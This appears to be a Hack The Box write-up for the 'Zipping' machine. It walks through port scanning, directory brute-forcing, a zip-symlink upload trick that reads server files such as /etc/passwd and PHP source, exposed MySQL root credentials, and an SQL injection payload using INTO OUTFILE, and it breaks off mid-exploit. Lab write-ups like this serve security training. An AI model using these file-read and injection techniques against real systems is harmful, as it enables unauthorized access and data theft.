Zipping HTB
IP
10.10.11.229
intial nmap scan
sudo nmap -p- --min-rate 10000 10.10.11.229 | cut -d"/" -f1 | tr '\n' ','
we can see the following ports open on the target machine
22,80
Lets run a more in-depth scan of the target
sudo nmap -sCV -p22,80 -oA tcp_ports 10.10.11.229
results
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_ 256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Ubuntu))
|_http-server-header: Apache/2.4.54 (Ubuntu)
|_http-title: Zipping | Watch store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.79 seconds
we can see
SSH is up and running
We have a http Apache we server, version 2.4.54
ubuntu server
Let's check out this web server

initial thoughts
ECommerce shop (watch business)
given it is a web server we should see if we can find any directories
feroxbuster -u http://zipping.htb -w /usr/share/seclists/SecLists-master/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -o dirs_http.txt
we do find some
.php
functions on the web app
200 GET 317l 1354w 16738c http://zipping.htb/index.php
200 GET 113l 380w 5322c http://zipping.htb/upload.php
500 GET 0l 0w 0c http://zipping.htb/shop/products.php
500 GET 0l 0w 0c http://zipping.htb/shop/home.php
200 GET 1l 3w 15c http://zipping.htb/shop/product.php
200 GET 68l 149w 2615c http://zipping.htb/shop/index.php
500 GET 1l 0w 1c http://zipping.htb/shop/cart.php
200 GET 0l 0w 0c http://zipping.htb/shop/functions.php
500 GET 0l 0w 0c http://zipping.htb/shop/placeorder.php
navigating through the web server we can find some interesting information
Looking around the page we can find a directory /upload.php
, which looks like some kind of PHP function that only accepts zip files with pdf's residing in them

Lets submit a blank pdf file that has been zippped up, catch the request with burp and analyze further
once we have selected the zip file (with a pdf file inside) we can hit upload and looking through burp we can see the following

notice we have been given a link to our pdf file to view it
we can see the file that will be accepted is
.zip
files
Lets see if we can utilize symlinks
what is a symlink?
A symlink (also called a symbolic link) is a type of file in Linux that points to another file or a folder on your computer. Symlinks are similar to shortcuts in Windows
How is this useful to us?
we can create a zip archive with symlink, essentially we can create a
file.pdf
that point to another location somewhere within the web application, say maybe/var/www/html/shop/index.php
on the back system
creating a symlink
ln -s /var/www/html/shop/index.php test.pdf
creating a zip archive with symlinks
zip --symlinks test.zip test.pdf
Now we can upload our zip filp
and we can see the source code for index.php

Looks like we have discovered a LFI vulnerability, lets create another zip file except this tim we want to symlink test.pdf to /etc/passwd
same processes as before and we can see when we send the request to repeater

looks like we have the user rektsu
and mysql running within the target
Now if we look back at the source code for /var/www/html/shop/index.php
we can see another function
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
I want to see if these function has any hard coded creds
so lets set up our zip file to upload
ln -s /var/www/html/shop/functions.php test.pdf
zip --symlinks test.zip test.pdf
Once we have uploaded and are given the location lets catch the request and pass it through to repeater
looking at the function we can see the following

<?php
function pdo_connect_mysql() {
// Update the details below with your MySQL details
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'root';
$DATABASE_PASS = 'MySQL_P@ssw0rd!';
$DATABASE_NAME = 'zipping';
try {
return new PDO('mysql:host=' . $DATABASE_HOST . ';dbname=' . $DATABASE_NAME . ';charset=utf8', $DATABASE_USER, $DATABASE_PASS);
} catch (PDOException $exception) {
// If there is an error with the connection, stop the script and display the error.
exit('Failed to connect to database!');
}
}
// Template header, feel free to customize this
function template_header($title) {
$num_items_in_cart = isset($_SESSION['cart']) ? count($_SESSION['cart']) : 0;
echo <<<EOT
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>$title</title>
<link href="assets/style.css" rel="stylesheet" type="text/css">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css">
</head>
<body>
<header>
<div class="content-wrapper">
<a href=".." style="text-decoration: none;"><h1>Zipping Watch Store</h1></a>
<nav>
<a href="index.php">Home</a>
<a href="index.php?page=products">Products</a>
</nav>
<div class="link-icons">
<a href="index.php?page=cart">
<i class="fas fa-shopping-cart"></i>
<span>$num_items_in_cart</span>
</a>
</div>
</div>
</header>
<main>
EOT;
}
// Template footer
function template_footer() {
$year = date('Y');
echo <<<EOT
</main>
<footer>
<div class="content-wrapper">
<p>© $year, Zipping Watch Store</p>
</div>
</footer>
</body>
</html>
EOT;
}
?>
looks like we found some creds for MySQL
$DATABASE_HOST = 'localhost';
$DATABASE_USER = 'root';
$DATABASE_PASS = 'MySQL_P@ssw0rd!';
$DATABASE_NAME = 'zipping';
Let's enumerate this site further and check out the PHP function
by looking at the cart.php
function
<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {
// Set the post variables so we easily identify them, also make sure they are integer
$product_id = $_POST['product_id'];
$quantity = $_POST['quantity'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
echo '';
} else {
// Construct the SQL statement with a vulnerable parameter
$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
// Execute the SQL statement without any sanitization or parameter binding
$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if ($product && $quantity > 0) {
// Product exists in database, now we can create/update the session variable for the cart
if (isset($_SESSION['cart']) && is_array($_SESSION['cart'])) {
if (array_key_exists($product_id, $_SESSION['cart'])) {
// Product exists in cart so just update the quanity
$_SESSION['cart'][$product_id] += $quantity;
} else {
// Product is not in cart so add it
$_SESSION['cart'][$product_id] = $quantity;
}
} else {
// There are no products in cart, this will add the first product to cart
$_SESSION['cart'] = array($product_id => $quantity);
}
}
// Prevent form resubmission...
header('location: index.php?page=cart');
exit;
}
}
// Remove product from cart, check for the URL param "remove", this is the product id, make sure it's a number and check if it's in the cart
if (isset($_GET['remove']) && is_numeric($_GET['remove']) && isset($_SESSION['cart']) && isset($_SESSION['cart'][$_GET['remove']])) {
// Remove the product from the shopping cart
unset($_SESSION['cart'][$_GET['remove']]);
}
// Update product quantities in cart if the user clicks the "Update" button on the shopping cart page
if (isset($_POST['update']) && isset($_SESSION['cart'])) {
// Loop through the post data so we can update the quantities for every product in cart
foreach ($_POST as $k => $v) {
if (strpos($k, 'quantity') !== false && is_numeric($v)) {
$id = str_replace('quantity-', '', $k);
$quantity = (int)$v;
// Always do checks and validation
if (is_numeric($id) && isset($_SESSION['cart'][$id]) && $quantity > 0) {
// Update new quantity
$_SESSION['cart'][$id] = $quantity;
}
}
}
// Prevent form resubmission...
header('location: index.php?page=cart');
exit;
}
// Send the user to the place order page if they click the Place Order button, also the cart should not be empty
if (isset($_POST['placeorder']) && isset($_SESSION['cart']) && !empty($_SESSION['cart'])) {
header('Location: index.php?page=placeorder');
exit;
}
if (isset($_POST['clear'])) {
unset($_SESSION['cart']);
}
// Check the session variable for products in cart
$products_in_cart = isset($_SESSION['cart']) ? $_SESSION['cart'] : array();
$products = array();
$subtotal = 0.00;
// If there are products in cart
if ($products_in_cart) {
// There are products in the cart so we need to select those products from the database
// Products in cart array to question mark string array, we need the SQL statement to include IN (?,?,?,...etc)
$array_to_question_marks = implode(',', array_fill(0, count($products_in_cart), '?'));
$stmt = $pdo->prepare('SELECT * FROM products WHERE id IN (' . $array_to_question_marks . ')');
// We only need the array keys, not the values, the keys are the id's of the products
$stmt->execute(array_keys($products_in_cart));
// Fetch the products from the database and return the result as an Array
$products = $stmt->fetchAll(PDO::FETCH_ASSOC);
// Calculate the subtotal
foreach ($products as $product) {
$subtotal += (float)$product['price'] * (int)$products_in_cart[$product['id']];
}
}
?>
<?=template_header('Zipping | Cart')?>
<div class="cart content-wrapper">
<h1>Shopping Cart</h1>
<form action="index.php?page=cart" method="post">
<table>
<thead>
<tr>
<td colspan="2">Product</td>
<td>Price</td>
<td>Quantity</td>
<td>Total</td>
</tr>
</thead>
<tbody>
<?php if (empty($products)): ?>
<tr>
<td colspan="5" style="text-align:center;">You have no products added in your Shopping Cart</td>
</tr>
<?php else: ?>
<?php foreach ($products as $product): ?>
<tr>
<td class="img">
<a href="index.php?page=product&id=<?=$product['id']?>">
<img src="assets/imgs/<?=$product['img']?>" width="50" height="50" alt="<?=$product['name']?>">
</a>
</td>
<td>
<a href="index.php?page=product&id=<?=$product['id']?>"><?=$product['name']?></a>
<br>
<a href="index.php?page=cart&remove=<?=$product['id']?>" class="remove">Remove</a>
</td>
<td class="price">$<?=$product['price']?></td>
<td class="quantity">
<input type="number" name="quantity-<?=$product['id']?>" value="<?=$products_in_cart[$product['id']]?>" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required>
</td>
<td class="price">$<?=$product['price'] * $products_in_cart[$product['id']]?></td>
</tr>
<?php endforeach; ?>
<?php endif; ?>
</tbody>
</table>
<div class="subtotal">
<span class="text">Subtotal</span>
<span class="price">$<?=$subtotal?></span>
</div>
<div class="buttons">
<input type="submit" value="Update" name="update">
<input type="submit" value="Place Order" name="placeorder">
<input type="submit" value="Clear" name="clear" onsubmit="">
</div>
</form>
</div>
<?=template_footer()?>
we can see a comment
// Construct the SQL statement with a vulnerable parameter
$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
// Execute the SQL statement without any sanitization or parameter binding
$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
we can see product_id
is our vulnerable parameter, Now we just need to find a way to exploit this, we know we are mysql root given the function.php
hard coded credentials we found earlier

cmds
writing db version to the file /var/lib/mysql/version
%0a'%3b+select+%40%40version+into+outfile+'/var/lib/mysql/version.php'%3b+--
n -s /var/lib/mysql/version.php test.pdf
zip --symlinks test.zip test.pdf
# once uploaded we can see the contents (db version)
Last updated